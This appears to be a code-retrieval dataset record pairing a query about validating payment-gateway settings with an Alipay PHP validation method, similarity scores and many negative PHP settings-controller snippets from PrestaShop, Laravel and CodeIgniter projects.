Tools::isSubmit('SubmitBasicSettings'))\r\n\t\t{\r\n\t\t\t$this->_saveSettingsProducts();\r\n\t\t\t$this->_saveSettingsBasic();\r\n\t\t\tunset($this->_validation[count($this->_validation) - 1]);\r\n\t\t}\r\n\t\telseif (Tools::isSubmit('SubmitPayPalProducts'))\r\n\t\t\t$this->_saveSettingsProducts();\r\n\t\telseif (Tools::isSubmit('SubmitBasicSettings'))\r\n\t\t\t$this->_saveSettingsBasic();\r\n\t\telseif (Tools::isSubmit('SubmitAdvancedSettings'))\r\n\t\t\t$this->_saveSettingsAdvanced();\r\n\r\n\r\n\t\t/* If PayPal Payments Advanced has been enabled, the Shop country has to be USA */\r\n\t\tif (Configuration::get('PAYPAL_USA_PAYMENT_ADVANCED') && Validate::isLoadedObject($this->_shop_country) && $this->_shop_country->iso_code != 'US')\r\n\t\t\t$this->context->smarty->assign('paypal_usa_advanced_only_us', true);\r\n\r\n\t\t/* If PayPal Payments Advanced has been enabled, PayPal's Manager credentials must be filled */\r\n\t\tif (Configuration::get('PAYPAL_USA_PAYMENT_ADVANCED') && (Configuration::get('PAYPAL_USA_MANAGER_USER') == '' ||\r\n\t\t\t\tConfiguration::get('PAYPAL_USA_MANAGER_PASSWORD') == '' || Configuration::get('PAYPAL_USA_MANAGER_PARTNER') == ''))\r\n\t\t\t$this->_error[] = $this->l('In order to use PayPal Payments Advanced, please provide your PayPal Manager credentials.');\r\n\r\n\t\t$this->context->smarty->assign(array(\r\n\t\t\t'paypal_usa_tracking' => 'http://www.prestashop.com/modules/paypalusa.png?url_site='.Tools::safeOutput($_SERVER['SERVER_NAME']).'&id_lang='.(int)$this->context->cookie->id_lang,\r\n\t\t\t'paypal_usa_form_link' => './index.php?tab=AdminModules&configure=paypalusa&token='.Tools::getAdminTokenLite('AdminModules').'&tab_module='.$this->tab.'&module_name=paypalusa',\r\n\t\t\t'paypal_usa_ssl' => Configuration::get('PS_SSL_ENABLED'),\r\n\t\t\t'paypal_usa_validation' => (empty($this->_validation) ? false : $this->_validation),\r\n\t\t\t'paypal_usa_error' => (empty($this->_error) ? false : $this->_error),\r\n\t\t\t'paypal_usa_configuration' => Configuration::getMultiple(array('PAYPAL_USA_SANDBOX', 'PAYPAL_USA_PAYMENT_STANDARD', 'PAYPAL_USA_PAYMENT_ADVANCED',\r\n\t\t\t\t'PAYPAL_USA_EXPRESS_CHECKOUT', 'PAYPAL_USA_PAYFLOW_LINK', 'PAYPAL_USA_ACCOUNT', 'PAYPAL_USA_API_USERNAME',\r\n\t\t\t\t'PAYPAL_USA_API_PASSWORD', 'PAYPAL_USA_API_SIGNATURE', 'PAYPAL_USA_EXP_CHK_PRODUCT', 'PAYPAL_USA_EXP_CHK_SHOPPING_CART',\r\n\t\t\t\t'PAYPAL_USA_EXP_CHK_BORDER_COLOR', 'PAYPAL_USA_MANAGER_USER', 'PAYPAL_USA_MANAGER_LOGIN', 'PAYPAL_USA_MANAGER_PASSWORD',\r\n\t\t\t\t'PAYPAL_USA_MANAGER_PARTNER', 'PAYPAL_USA_SANDBOX_ADVANCED')),\r\n\t\t\t'paypal_usa_merchant_country_is_usa' => (Validate::isLoadedObject($this->_shop_country) && $this->_shop_country->iso_code == 'US'),\r\n\t\t\t'paypal_usa_merchant_country_is_mx' => (Validate::isLoadedObject($this->_shop_country) && $this->_shop_country->iso_code == 'MX')\r\n\t\t));\r\n\r\n\t\treturn $this->display(__FILE__, 'views/templates/admin/configuration'.((Validate::isLoadedObject($this->_shop_country) && $this->_shop_country->iso_code == 'MX') ? '-mx' : '').'.tpl');\r\n\t}", "public function index()\n {\n $title = trans('settings.settings');\n $max_upload_file_size = array(\n '1000' => '1MB',\n '2000' => '2MB',\n '3000' => '3MB',\n '4000' => '4MB',\n '5000' => '5MB',\n '6000' => '6MB',\n '7000' => '7MB',\n '8000' => '8MB',\n '9000' => '9MB',\n '10000' => '10MB',\n );\n $currency_positions = array('left'=> trans(\"settings.left\"), 'right'=> trans(\"settings.right\"));\n $currency = $this->optionRepository->getAll()\n ->where('category', 'currency')\n ->get()\n ->map(\n function ($title) {\n return [\n 'text' => $title->title,\n 'id' => $title->value,\n ];\n }\n )->pluck('text', 'id');\n\n $backup_type = $this->optionRepository->getAll()\n ->where('category', 'backup_type')\n ->get()\n ->map(\n function ($title) {\n return [\n 'text' => $title->value,\n 'id' => $title->title,\n ];\n }\n );\n\n\t\t$invoice_template = PrintTemplate::where('type','invoice')->pluck('name','slug');\n\t\t$saleorder_template = PrintTemplate::where('type','saleorder')->pluck('name','slug');\n\t\t$quotation_template = PrintTemplate::where('type','quotation')->pluck('name','slug');\n\n\t\treturn view('user.setting.index', compact('title', 'max_upload_file_size', 'backup_type',\n\t\t\t\t'currency','invoice_template','saleorder_template','quotation_template','currency_positions'));\n\t}", "public function settings()\n\t{\n\n $this->load->view('back/lib/header');\n\t\t$this->load->view('back/settings');\n\t\t$this->load->view('back/lib/footer');\n\t\t\n\t}", "public function index()\n\t{\n\t\t$this->set_page_title(_l('web_setup'));\n\t\t$data['settings'] = get_settings();\n\t\t$data['content'] = $this->load->view('admin/settings/index', $data, TRUE);\n\t\t$this->load->view('admin/layouts/index', $data);\n\t}", "public function index()\n {\n $data['title'] = 'Site Settings';\n $data['menu'] = 'site_settings';\n $data['configs'] = SiteSetting::all();\n return view('backend.site_settings', $data);\n }", "public function index()\n {\n $this->adminTheme = ThemeSetting::withoutGlobalScope(CompanyScope::class)->where('panel', 'superadmin')->first();\n return view('super-admin.theme-settings.edit', $this->data);\n }", "public function getIndex()\n {\n\n $settings = BasicSettings::get();\n //dd($settings);\n return view('admin.settings.index')->with(array('settings' => $settings));\n\n }", "public function index()\n {\n return response()->json(MegaHelpers::getSettings(new SettingsRadarr));\n }", "public function getSettings() \n {\n $userLogin = Auth::user();\n\n return view('dashboard/settings', ['userLogin'=>$userLogin]);\n }" ]
[ "0.68227154", "0.66946226", "0.66880304", "0.6672013", "0.663764", "0.65878123", "0.6552968", "0.65446997", "0.65239424", "0.6523007", "0.6517904", "0.6508338", "0.6467499", "0.6458464", "0.64416534", "0.6441652", "0.64204377", "0.6395173", "0.6390946", "0.6381431", "0.63700515", "0.63670594", "0.6363266", "0.63585085", "0.6354899", "0.6344154", "0.63403016", "0.63371295", "0.6336538", "0.6336538", "0.63294715", "0.6327262", "0.63073874", "0.6294098", "0.6292485", "0.6287273", "0.62788135", "0.62723297", "0.62720245", "0.62583154", "0.6251968", "0.6241196", "0.62377137", "0.62260604", "0.6222885", "0.62073994", "0.6205205", "0.61954486", "0.61902857", "0.61714125", "0.6168727", "0.61683804", "0.6165168", "0.6162609", "0.61526686", "0.61475277", "0.6144398", "0.61434793", "0.61414325", "0.61153585", "0.6110482", "0.6095468", "0.6090979", "0.6077832", "0.6065129", "0.60626894", "0.60625976", "0.6061811", "0.60563505", "0.6048874", "0.604262", "0.6039255", "0.60391676", "0.6033862", "0.6025374", "0.60229474", "0.6010757", "0.60097945", "0.6001195", "0.5995845", "0.59924793", "0.59879744", "0.5986469", "0.5983879", "0.59814745", "0.59810543", "0.59660035", "0.59607065", "0.59582585", "0.5954772", "0.5954516", "0.59536564", "0.5948315", "0.5947495", "0.5935483", "0.5935157", "0.5920033", "0.5919115", "0.59188396", "0.5918241", "0.59116673" ]
0.0
-1
Validates the given meta (settings) data to be updated for this gateway
public function editSettings(array $meta) { // Verify meta data is valid $rules = array( 'email' => array( 'valid' => array( 'rule' => array("isEmail", false), 'message' => Language::_("Alipay.!error.account_id.valid", true) ) ), 'pid' => array( 'valid' => array( 'rule' => array("betweenLength", 16, 16), 'message' => Language::_("Alipay.!error.pid.valid", true) ) ), 'key' => array( 'valid' => array( 'rule' => array("isEmpty"), 'negate' => true, 'message' => Language::_("Alipay.!error.key.valid", true) ) ), ); $this->Input->setRules($rules); // Validate the given meta data to ensure it meets the requirements $this->Input->validates($meta); // Return the meta data, no changes required regardless of success or failure for this gateway return $meta; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function editSettings(array $meta)\n {\n // Verify meta data is valid\n $rules = array(\n 'user' => array(\n 'empty' => array(\n 'rule' => \"isEmpty\",\n 'negate' => true,\n 'message' => Language::_(\"TpayPayments.!error.user.empty\", true)\n )\n ),\n 'key' => array(\n 'empty' => array(\n 'rule' => \"isEmpty\",\n 'negate' => true,\n 'message' => Language::_(\"TpayPayments.!error.key.empty\", true)\n )\n ),\n\n );\n\n $this->Input->setRules($rules);\n\n // Validate the given meta data to ensure it meets the requirements\n $this->Input->validates($meta);\n // Return the meta data, no changes required regardless of success or failure for this gateway\n return $meta;\n }", "public function postUpdatesettings(){\n \n $validator3 = Validator::make(Input::all(), GeneralSetting::$rules);\n\n if ($validator3->passes()) {\n\n $min = (int)Input::get('exam_time'); \n $item_id1 = (int)Input::get('item_id1');\n $item_type1 = Input::get('item_type1');\n\n $qcount = (int)Input::get('max_qs_count'); \n $item_id2 = (int)Input::get('item_id2');\n $item_type2 = Input::get('item_type2');\n\n $hour = floor($min / 60);\n $min -= $hour * 60;\n $timeStamp = sprintf('%02d:%02d:00', $hour, $min); \n \n // save settings\n $item1 = GeneralSetting::find($item_id1);\n $item1->type = $item_type1;\n $item1->value = $timeStamp;\n $item1->save();\n\n // save settings\n $item2 = GeneralSetting::find($item_id2);\n $item2->type = $item_type2;\n $item2->value = $qcount;\n $item2->save();\n \n return Redirect::to('admin/settings')->with('message', 'Settings upadated successfully!');\n }else{\n return Redirect::to('admin/settings')->with('message', 'The following errors occurred')\n ->withErrors($validator3)->withInput();\n\n }\n }", "private function _validate_settings()\n\t{\n\n\t\treturn TRUE;\n\t}", "public function _validate_settings( $settings ) {\n global $zendesk_support;\n\n // Check for SSL activity and keep the version.\n $settings['ssl'] = $zendesk_support->api->is_ssl( $settings['account'] );\n $settings['version'] = $zendesk_support->default_settings['version'];\n\n // Validate the Zendesk Account\n if ( ( ! preg_match( '/^[a-zA-Z0-9][a-zA-Z0-9\\-]{0,}[a-zA-Z0-9]$/', $settings['account'] ) && ! preg_match( '/^[a-zA-Z0-9]{1}$/', $settings['account'] ) ) || ( strlen( $settings['account'] ) > 63 ) ) {\n unset( $settings['account'] );\n }\n\n // Dashboard widgets visibility\n foreach ( array( 'administrator', 'editor', 'author', 'contributor', 'subscriber' ) as $role ) {\n if ( isset( $settings[ 'dashboard_' . $role ] ) && ! array_key_exists( $settings[ 'dashboard_' . $role ], $this->_available_dashboard_widget_options() ) ) {\n unset( $settings[ 'dashboard_' . $role ] );\n }\n }\n\n // Clean up contact form title and others\n foreach (\n array(\n 'contact_form_title',\n 'contact_form_summary',\n 'contact_form_details',\n 'contact_form_submit'\n ) as $key\n ) {\n $settings[ $key ] = empty( $settings[ $key ] ) ? $zendesk_support->default_settings[ $key ] : htmlspecialchars( trim( $settings[ $key ] ) );\n }\n\n // Anonymous contact form (checkbox)\n if ( ! isset( $settings['contact_form_anonymous'] ) ) {\n $settings['contact_form_anonymous'] = false;\n }\n\n\n // Nuke login credentials and web widget snippet if account has changed.\n if ( $settings['account'] !== $zendesk_support->settings['account'] ) {\n // Running a direct SQL query is *way* faster than meta querying users one by one.\n global $wpdb;\n $wpdb->query( \"DELETE FROM $wpdb->usermeta WHERE meta_key = 'zendesk_user_options';\" );\n\n // Clear the web widget code so it gets generated again using the new account\n $settings['webwidget_code'] = '';\n }\n\n // If the Web Widget has just been switched on, hide the Feedback Tab\n if ( $settings['webwidget_display'] != 'none' && $zendesk_support->settings['webwidget_display'] == 'none' ) {\n $settings['dropbox_display'] = 'none';\n }\n\n // Merge the submitted settings with the defaults. Second\n // argument will overwrite the first.\n if ( is_array( $zendesk_support->settings ) ) {\n $settings = array_merge( $zendesk_support->settings, $settings );\n } else {\n $settings = array_merge( $zendesk_support->default_settings, $settings );\n }\n\n return $settings;\n }", "protected function settingsValidate( $settings ) {\n\n\t\t\tif ( !isset( $_POST['initial_save'] ) || !$_POST['initial_save'] ) {\n\n\t\t\t\t$boolean_settings = apply_filters( 'muut_boolean_settings', array(\n\t\t\t\t\t'replace_comments',\n\t\t\t\t\t'use_threaded_commenting',\n\t\t\t\t\t'override_all_comments',\n\t\t\t\t\t'is_threaded_default',\n\t\t\t\t\t'show_online_default',\n\t\t\t\t\t'allow_uploads_default',\n\t\t\t\t\t'subscription_use_signed_setup',\n\t\t\t\t\t'use_custom_s3_bucket',\n\t\t\t\t\t'subscription_use_sso',\n\t\t\t\t\t'website_uses_caching',\n\t\t\t\t\t'enable_proxy_rewrites',\n\t\t\t\t\t'use_webhooks',\n\t\t\t\t) );\n\n\t\t\t\tforeach ( $boolean_settings as $boolean_setting ) {\n\t\t\t\t\t$settings[$boolean_setting] = isset( $settings[$boolean_setting] ) ? $settings[$boolean_setting] : '0';\n\t\t\t\t}\n\n\t\t\t\tif ( ( isset( $settings['forum_name'] ) && $settings['forum_name'] != muut()->getForumName() )\n\t\t\t\t\t|| ( isset( $settings['enable_proxy_rewrites'] ) && $settings['enable_proxy_rewrites'] != muut()->getOption( 'enable_proxy_rewrites' ) )\n\t\t\t\t\t|| ( isset( $settings['use_custom_s3_bucket'] ) && $settings['use_custom_s3_bucket'] != muut()->getOption( 'use_custom_s3_bucket' ) )\n\t\t\t\t\t|| ( isset( $settings['custom_s3_bucket_name'] ) && $settings['custom_s3_bucket_name'] != muut()->getOption( 'custom_s3_bucket_name' ) )\n\t\t\t\t\t|| ( isset( $settings['use_webhooks'] ) && $settings['use_webhooks'] != muut()->getOption( 'use_webhooks' ) )\n\t\t\t\t) {\n\t\t\t\t\tflush_rewrite_rules( true );\n\t\t\t\t\t$home_path = get_home_path();\n\t\t\t\t\t$htaccess_file = $home_path.'.htaccess';\n\n\t\t\t\t\tif ( ( !file_exists( $htaccess_file ) && !is_writable( $home_path ) ) || !is_writable( $htaccess_file ) ) {\n\t\t\t\t\t\tif ( get_option( 'permalink_structure', '') != '' ) {\n\t\t\t\t\t\t\t$error = array( 'field' => '', 'new_value' => '', 'name' => 'htaccess_permissions', 'message' => sprintf( __( 'It looks like the %sMuut Plugin%s doesn\\'t have permission to edit your .htaccess file. If you want to have content indexable under your website\\'s domain, you should head over to the bottom of your site\\'s %sPermalinks%s settings and copy the new code there to your .htaccess file.', 'muut' ), '<b>', '</b>', '<a href=\"' . admin_url( 'options-permalink.php' ) . '\">', '</a>' ) );\n\t\t\t\t\t\t\t$this->errorQueue[$error['name']] = $error;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// If the Secret Key setting does not get submitted (i.e. is disabled), make sure to erase its value.\n\t\t\t\t$settings['subscription_secret_key'] = isset( $settings['subscription_secret_key'] ) ? $settings['subscription_secret_key'] : '';\n\t\t\t} else {\n\t\t\t\t$settings = apply_filters( 'muut_settings_initial_save', $settings );\n\t\t\t}\n\n\t\t\tforeach ( $settings as $name => &$value ) {\n\t\t\t\t$value = apply_filters( 'muut_validate_setting_' . $name, $value );\n\t\t\t\t$value = apply_filters( 'muut_validate_setting', $value, $name );\n\t\t\t}\n\n\t\t\treturn apply_filters( 'muut_settings_validated', $settings );\n\t\t}", "public function validate($settings)\n {\n return $settings;\n }", "public function update_settings($data = array()) {\n\n\t\tif(isset($data['short_domain'])) {\n\t\t\t$this->settings['short_domain'] = trim($data['short_domain'],',/\t\t');\n\t\t}\n\n\t\tif(isset($data['last_number'])) {\n\t\t\t$this->settings['last_number'] = $data['last_number'];\n\t\t}\n\n\t\t$this->db->update('shortee_settings',$this->settings);\n\n\t}", "protected function checkAlwaysPopulateRawPostDataSetting() {}", "function wck_update_meta(){\r\n\t\tcheck_ajax_referer( \"wck-update-entry\" );\r\n\t\tif( !empty( $_POST['meta'] ) )\r\n\t\t\t$meta = sanitize_text_field( $_POST['meta'] );\r\n\t\telse \r\n\t\t\t$meta = '';\r\n\t\tif( !empty( $_POST['id'] ) )\r\n\t\t\t$id = absint($_POST['id']);\r\n\t\telse \r\n\t\t\t$id = '';\r\n\t\tif( isset( $_POST['element_id'] ) )\r\n\t\t\t$element_id = absint( $_POST['element_id'] );\r\n\t\telse \r\n\t\t\t$element_id = 0;\r\n\t\tif( !empty( $_POST['values'] ) && is_array( $_POST['values']) )\r\n\t\t\t$values = array_map( 'wppb_sanitize_value', $_POST['values'] );\r\n\t\telse\r\n\t\t\t$values = array();\r\n\t\t\r\n\t\t// Security checks\r\n\t\tif( true !== ( $error = self::wck_verify_user_capabilities( $this->args['context'], $meta, $id ) ) ) {\r\n\t\t\theader( 'Content-type: application/json' );\r\n\t\t\tdie( json_encode( $error ) );\r\n\t\t}\r\n\t\t\r\n\t\t$values = apply_filters( \"wck_update_meta_filter_values_{$meta}\", $values, $element_id );\r\n\t\t\r\n\t\t/* check required fields */\r\n\t\t$errors = self::wck_test_required( $this->args['meta_array'], $meta, $values, $id );\r\n\t\tif( $errors != '' ){\r\n\t\t\theader( 'Content-type: application/json' );\r\n\t\t\tdie( json_encode( $errors ) );\r\n\t\t}\r\n\t\t\r\n\t\tif( $this->args['context'] == 'post_meta' )\r\n\t\t\t$results = get_post_meta($id, $meta, true);\r\n\t\telse if ( $this->args['context'] == 'option' )\r\n\t\t\t$results = get_option( apply_filters( 'wck_option_meta' , $meta, $values, $element_id ) );\r\n\t\t\r\n\t\t$results[$element_id] = $values;\r\n\r\n\t\t/* make sure this does not output anything so it won't break the json response below\r\n\t\twill keep it do_action for compatibility reasons\r\n\t\t */\r\n\t\tob_start();\r\n\t\t\tdo_action( 'wck_before_update_meta', $meta, $id, $values, $element_id );\r\n\t\t$wck_before_update_meta = ob_get_clean(); //don't output it\r\n\t\t\r\n\r\n\t\tif( $this->args['context'] == 'post_meta' )\r\n\t\t\tupdate_post_meta($id, $meta, $results);\r\n\t\telse if ( $this->args['context'] == 'option' )\r\n\t\t\tupdate_option( apply_filters( 'wck_option_meta' , $meta, $results, $element_id ), wp_unslash( $results ) );\r\n\t\t\r\n\t\t/* if unserialize_fields is true update the coresponding post metas for every element of the form */\r\n\t\tif( $this->args['unserialize_fields'] && $this->args['context'] == 'post_meta' ){\r\n\t\t\t\r\n\t\t\t$meta_suffix = $element_id + 1;\t\r\n\t\t\tif( !empty( $values ) ){\r\n\t\t\t\tforeach( $values as $name => $value ){\r\n\t\t\t\t\tupdate_post_meta($id, $meta.'_'.$name.'_'.$meta_suffix, $value);\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t$entry_content = $this->wck_refresh_entry( $meta, $id, $element_id );\t\t\r\n\r\n\t\theader( 'Content-type: application/json' );\r\n\t\tdie( json_encode( array( 'entry_content' => $entry_content ) ) );\r\n\t}", "public function updateSettings(Request $request)\n {\n\n // return $request->all();\n $rules = array(\n 'name' => 'required',\n 'phone' => 'required',\n 'email' => 'required|email:rfc,dns,strict|unique:tbl_restaurants,email,' . Auth::guard('restaurantUser')->user()->restaurant_id,\n 'country' => 'required',\n 'state' => 'required',\n 'city' => 'required',\n 'address' => 'required',\n 'collect_tax' => 'required'\n );\n\n if ($request->hasFile('logo')) {\n $rules['logo'] = 'image|mimes:jpeg,png,jpg';\n }\n\n // if ($request->fb_username || $request->twitter_username || $request->insta_username || $request->youtube_username) {\n // $socialLinks = RestaurantSettingsSocialLink::where('restaurant_id', Auth::guard('restaurantUser')->user()->restaurant_id)->first();\n\n // if ($socialLinks) {\n // if ($request->fb_username && !$socialLinks->facebook_password) {\n // $rules['fb_password'] = 'required';\n // }\n // if ($request->twitter_username && !$socialLinks->twitter_password) {\n // $rules['twitter_password'] = 'required';\n // }\n // if ($request->insta_username && !$socialLinks->instagram_password) {\n // $rules['insta_password'] = 'required';\n // }\n // if ($request->youtube_username && !$socialLinks->youtube_password) {\n // $rules['youtube_password'] = 'required';\n // }\n // } else {\n // if ($request->fb_username) {\n // $rules['fb_password'] = 'required';\n // }\n // if ($request->twitter_username) {\n // $rules['twitter_password'] = 'required';\n // }\n // if ($request->insta_username) {\n // $rules['insta_password'] = 'required';\n // }\n // if ($request->insta_username) {\n // $rules['youtube_password'] = 'required';\n // }\n // }\n // }\n\n if ($request->collect_tax === \"Yes\") {\n $rules['tax_registration_no'] = 'required';\n }\n\n $validator = Validator::make(\\request()->all(), $rules);\n\n // process the creation\n if ($validator->fails()) {\n return redirect()->back()\n ->withErrors($validator)\n ->withInput(\\request()->all());\n } else {\n // store\n\n if (Restaurant::where('restaurant_id', $request->restaurant_id)->exists()) {\n\n $restaurant = Restaurant::where('restaurant_id', $request->restaurant_id)->first();\n $restaurant->name = $request->name;\n $restaurant->phone = $request->phone;\n $restaurant->email = $request->email;\n $restaurant->country_id = $request->country;\n $restaurant->state_id = $request->state;\n $restaurant->city_id = $request->city;\n $restaurant->address = $request->address;\n $restaurant->save();\n\n //logo\n if ($request->hasFile('logo')) {\n $path = base_path('media/restaurant/logos');\n\n if (!File::isDirectory($path)) {\n File::makeDirectory($path, 0777, true, true);\n }\n\n $image = $request->file('logo');\n $filename = $image->getClientOriginalName();\n $logoNameToStore = time() . \"_\" . $filename;\n $image->move(base_path('\\media\\restaurant\\logos'), $logoNameToStore);\n\n if (RestaurantSettingsLogo::where('restaurant_id', Auth::guard('restaurantUser')->user()->restaurant_id)->exists()) {\n $logo = RestaurantSettingsLogo::where('restaurant_id', Auth::guard('restaurantUser')->user()->restaurant_id)->first();\n $logo->logo = $logoNameToStore;\n $logo->save();\n } else {\n $logo = new RestaurantSettingsLogo();\n $logo->logo = $logoNameToStore;\n $logo->restaurant_id = Auth::guard('restaurantUser')->user()->restaurant_id;\n $logo->user_id = Auth::guard('restaurantUser')->id();\n $logo->save();\n }\n }\n\n // return [$logo,$path];\n\n //tax\n if ($request->collect_tax === \"Yes\" || $request->collect_tax === \"No\") {\n if ($request->collect_tax === \"Yes\") {\n if (RestaurantSettingsTax::where('restaurant_id', Auth::guard('restaurantUser')->user()->restaurant_id)->exists()) {\n $tax = RestaurantSettingsTax::where('restaurant_id', Auth::guard('restaurantUser')->user()->restaurant_id)->first();\n $tax->collect_tax = $request->collect_tax;\n $tax->reg_no = $request->tax_registration_no;\n $tax->save();\n } else {\n $tax = new RestaurantSettingsTax();\n $tax->collect_tax = $request->collect_tax;\n $tax->reg_no = $request->tax_registration_no;\n $tax->restaurant_id = Auth::guard('restaurantUser')->user()->restaurant_id;\n $tax->user_id = Auth::guard('restaurantUser')->id();\n $tax->save();\n }\n\n if (isset($request->taxes) && isset($request->rates)) {\n RestaurantSettingsTaxField::where('tax_id', $tax->id)->delete();\n for ($i = 0; $i < count($request->input('taxes')); $i++) {\n $taxField = new RestaurantSettingsTaxField();\n $taxField->tax_id = $tax->id;\n $taxField->name = $request->taxes[$i];\n $taxField->rate = $request->rates[$i];\n $taxField->save();\n // return $taxField;\n }\n }\n } else {\n if (RestaurantSettingsTax::where('restaurant_id', Auth::guard('restaurantUser')->user()->restaurant_id)->exists()) {\n $tax = RestaurantSettingsTax::where('restaurant_id', Auth::guard('restaurantUser')->user()->restaurant_id)->first();\n $tax->collect_tax = $request->collect_tax;\n $tax->reg_no = null;\n $tax->save();\n }\n\n if (RestaurantSettingsTaxField::where('tax_id', $tax->id)->exists()) {\n RestaurantSettingsTaxField::where('tax_id', $tax->id)->delete();\n }\n }\n }\n\n //social links\n if (isset($request->user_names) && isset($request->passwords) && isset($request->social_media)) {\n RestaurantSettingsSocialLink::where('restaurant_id', Auth::guard('restaurantUser')->user()->restaurant_id)->delete();\n\n for ($i = 0; $i < count($request->input('social_media')); $i++) {\n $socialLink = new RestaurantSettingsSocialLink;\n $socialLink->social_media_id = $request->social_media[$i];\n $socialLink->username = $request->user_names[$i];\n $socialLink->password = str_rot13($request->passwords[$i]);\n $socialLink->restaurant_id = Auth::guard('restaurantUser')->user()->restaurant_id;\n $socialLink->user_id = Auth::guard('restaurantUser')->id();\n $socialLink->save();\n }\n }\n\n // if ($request->fb_username || $request->twitter_username || $request->insta_username || $request->youtube_username) {\n // $socialLinks = RestaurantSettingsSocialLink::where('restaurant_id', Auth::guard('restaurantUser')->user()->restaurant_id)->first();\n\n // if ($socialLinks) {\n // if ($request->fb_username && !$request->fb_password) {\n // $socialLinks->facebook_username = $request->fb_username;\n // } elseif ($request->fb_username && $request->fb_password) {\n // $socialLinks->facebook_username = $request->fb_username;\n // $socialLinks->facebook_password = bcrypt($request->fb_password);\n // }\n\n // if ($request->twitter_username && !$request->twitter_password) {\n // $socialLinks->twitter_username = $request->twitter_username;\n // } elseif ($request->twitter_username && $request->twitter_password) {\n // $socialLinks->twitter_username = $request->twitter_username;\n // $socialLinks->twitter_password = bcrypt($request->twitter_password);\n // }\n\n // if ($request->insta_username && !$request->insta_password) {\n // $socialLinks->instagram_username = $request->insta_username;\n // } elseif ($request->insta_username && $request->insta_password) {\n // $socialLinks->instagram_username = $request->insta_username;\n // $socialLinks->instagram_password = bcrypt($request->insta_password);\n // }\n\n // if ($request->youtube_username && !$request->youtube_password) {\n // $socialLinks->youtube_username = $request->youtube_username;\n // } elseif ($request->youtube_username && $request->youtube_password) {\n // $socialLinks->youtube_username = $request->youtube_username;\n // $socialLinks->youtube_password = bcrypt($request->youtube_password);\n // }\n\n // $socialLinks->save();\n // } else {\n // $newSocialLinks = new RestaurantSettingsSocialLink();\n\n // if ($request->fb_username && $request->fb_password) {\n // $newSocialLinks->facebook_username = $request->fb_username;\n // $newSocialLinks->facebook_password = bcrypt($request->fb_password);\n // }\n\n // if ($request->twitter_username && $request->twitter_password) {\n // $newSocialLinks->twitter_username = $request->twitter_username;\n // $newSocialLinks->twitter_password = bcrypt($request->twitter_password);\n // }\n\n // if ($request->insta_username && $request->insta_password) {\n // $newSocialLinks->instagram_username = $request->insta_username;\n // $newSocialLinks->instagram_password = bcrypt($request->insta_password);\n // }\n\n // if ($request->youtube_username && $request->youtube_password) {\n // $newSocialLinks->youtube_username = $request->youtube_username;\n // $newSocialLinks->youtube_password = bcrypt($request->youtube_password);\n // }\n\n\n // $newSocialLinks->restaurant_id = Auth::guard('restaurantUser')->user()->restaurant_id;\n // $newSocialLinks->user_id = Auth::guard('restaurantUser')->id();\n // $newSocialLinks->save();\n // }\n // }\n\n toastr()->success('Updated successfully');\n // redirect\n return redirect()->back();\n } else {\n toastr()->error('Invalid restaurant found');\n // redirect\n return redirect()->back();\n }\n }\n }", "public function update_settings($data) {\n\t\t$this->settings->update_settings($data);\n\t}", "function redmine_sso_admin_settings_validate($form, $form_state) {\n /**\n * TODO\n * check url\n * check if group exsists\n * check if project exsists\n */\n}", "public function update(Request $request) {\n $requestData = $request->all();\n unset($requestData['_token']);\n $validateData = [];\n foreach ($requestData as $key => $value) {\n $validateData[$key] = 'required';\n }\n\n // validate settings\n $validator = \\Validator::make($requestData, $validateData);\n if ($validator->fails()) {\n return redirect('admin/settings')->withInput($requestData)->withErrors($validator);\n }\n\n foreach ($requestData as $key => $value) {\n $setting = SiteSettings::where('setting_key', $key)->count();\n if ($setting > 0) {\n SiteSettings::where('setting_key', $key)->update(['setting_value' => $value]);\n } else {\n SiteSettings::insert(['setting_key' => $key, 'setting_value' => $value]);\n }\n }\n Alert::success('Success Message', 'Settings updated!');\n return redirect('admin/settings');\n }", "public function update(Request $request, Setting $setting)\n {\n $rules = [\n 'owner_name' => 'required',\n 'email' => 'required|email',\n 'phone' => 'required|string|min:11|max:17',\n 'phone_hours' => 'required',\n 'about' => 'required',\n 'address' => 'nullable',\n 'city' => 'nullable',\n 'province' => 'nullable',\n 'company_name' => 'required',\n 'short_description' => 'required',\n 'keyword' => 'nullable'\n ];\n\n if ($request->has('pills') && $request->pills == 'logo') {\n $rules = [\n 'path_image' => 'nullable|mimes:png,jpg,jpeg|max:2048',\n 'path_image_header' => 'nullable|mimes:png,jpg,jpeg|max:2048',\n 'path_image_footer' => 'nullable|mimes:png,jpg,jpeg|max:2048',\n ];\n }\n\n if ($request->has('pills') && $request->pills == 'sosial-media') {\n $rules = [\n 'instagram_link' => 'required|url',\n 'twitter_link' => 'required|url',\n 'fanpage_link' => 'required|url',\n 'google_plus_link' => 'required|url'\n ];\n }\n\n if ($request->has('pills') && $request->pills == 'bank') {\n $rules = [\n 'bank_id' => 'required|exists:bank,id|unique:bank_setting,bank_id',\n 'account' => 'required|unique:bank_setting,account',\n 'name' => 'required',\n ];\n }\n\n $this->validate($request, $rules);\n\n $data = $request->except('path_image', 'path_image_header', 'path_image_footer');\n\n if ($request->hasFile('path_image')) {\n if (Storage::disk('public')->exists($request->path_image)) {\n Storage::disk('public')->delete($request->path_image);\n }\n\n $data['path_image'] = upload('setting', $request->file('path_image'), 'setting');\n }\n\n if ($request->hasFile('path_image_header')) {\n if (Storage::disk('public')->exists($request->path_image_header)) {\n Storage::disk('public')->delete($request->path_image_header);\n }\n\n $data['path_image_header'] = upload('setting', $request->file('path_image_header'), 'setting');\n }\n\n if ($request->hasFile('path_image_footer')) {\n if (Storage::disk('public')->exists($request->path_image_footer)) {\n Storage::disk('public')->delete($request->path_image_footer);\n }\n\n $data['path_image_footer'] = upload('setting', $request->file('path_image_footer'), 'setting');\n }\n\n $setting->update($data);\n\n if ($request->has('pills') && $request->pills == 'bank') {\n $setting->bank_setting()->attach($request->bank_id, $request->only('account', 'name'));\n }\n\n\n return back()->with([\n 'message' => 'Pengaturan berhasil diperbarui',\n 'success' => true\n ]);\n }", "public function update_settings($settingsdata, $settingsdataformat) {\n\t\t global $wpdb;\n\t\t\treturn $wpdb->update ( $this->_settingstable, $settingsdata, array (\n\t\t\t\t\t'settings_id' => 1 \n\t\t\t), $settingsdataformat );\n\t\t}", "public function update(Request $request)\n {\n $settings = $this->getSettings(); // if user hasn't any setting then create for him/her\n $validation_terms = $this->validation_terms();\n 